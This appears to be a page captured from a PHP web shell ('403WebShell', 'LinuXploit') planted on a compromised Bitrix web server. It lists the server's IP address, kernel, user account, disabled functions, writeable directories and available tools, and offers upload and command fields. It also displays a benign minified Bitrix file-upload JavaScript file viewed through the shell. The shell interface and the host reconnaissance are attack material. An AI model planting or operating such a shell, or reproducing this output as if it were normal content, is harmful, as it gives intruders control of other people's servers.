%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.15.22.202
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/core_ui_fileasyncloader.min.js
BX.ui.fileAsyncLoader=function(e,t){this.parentConstruct(BX.ui.fileAsyncLoader,e);BX.merge(this,{opts:{timeout:800,url:"/somewhere.php",fileUploadTag:"FILE_UPLOAD"},vars:{prevValue:""},ctrls:{},sys:{code:"file-async-loader"}});this.handleInitStack(t,BX.ui.fileAsyncLoader,e)};BX.extend(BX.ui.fileAsyncLoader,BX.ui.widget);BX.merge(BX.ui.fileAsyncLoader.prototype,{init:function(){var e=this.ctrls,t=this.vars;e.success=this.getControl("success");e.fail=this.getControl("fail");e.inProgress=this.getControl("in-progress");e.inputContainer=this.getControl("input");e.input=e.scope.querySelector('input[type="file"]');t.randomTag=this.getRandom();this.pushFuncStack("bindEvents",BX.ui.fileAsyncLoader)},bindEvents:function(){var e=this;this.startMonitor();BX.bindDelegate(this.ctrls.scope,"click",{className:e.getControlClassName("retry")},function(){e.upload()})},startMonitor:function(){var e=this.ctrls,t=this.vars,i=this.opts,s=this;if(e.input.value!=t.prevValue){t.prevValue=e.input.value;if(t.prevValue.length>0){this.upload();return}}setTimeout(BX.proxy(this.startMonitor,this),i.timeout)},hideMessages:function(){var e=this.ctrls;BX.hide(e.success);BX.hide(e.fail);BX.hide(e.inProgress)},deSelect:function(){var e=this.ctrls;this.hideMessages();var t=BX.clone(e.input);BX.insertAfter(t,e.input);BX.remove(e.input);e.input=t},upload:function(){var e=this.opts,t=this.vars,i=this.ctrls;if(i.input.value.length==0)return;var s=BX.create("form",{props:{enctype:"multipart/form-data",action:e.url,method:"post",target:t.randomTag},style:{display:"none"}});var r=BX.create("input",{props:{type:"hidden",name:e.fileUploadTag,value:t.randomTag}});s.appendChild(r);var n=document.querySelector("body");n.appendChild(s);var a=BX.create("iframe",{props:{name:t.randomTag},style:{display:"none"}});n.appendChild(a);s.appendChild(i.input);if(typeof BX[this.sys.code]=="undefined")BX[this.sys.code]={};BX[this.sys.code][t.randomTag]=this;i.form=s;i.iframe=a;BX.hide(i.success);BX.hide(i.fail);BX.show(i.inProgress);s.submit()},uploadSuccess:function(){var e=this.ctrls;this.cleanUp();BX.show(e.success);BX.hide(e.fail);this.fireEvent("upload-success")},uploadFail:function(e){var t=this.ctrls;this.cleanUp();BX.show(t.fail);BX.hide(t.success);this.fireEvent("upload-fail")},cleanUp:function(){var e=this.ctrls;BX.hide(e.inProgress);BX.remove(e.iframe);e.inputContainer.appendChild(e.input);BX.remove(e.form);this.startMonitor()}});
//# sourceMappingURL=core_ui_fileasyncloader.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit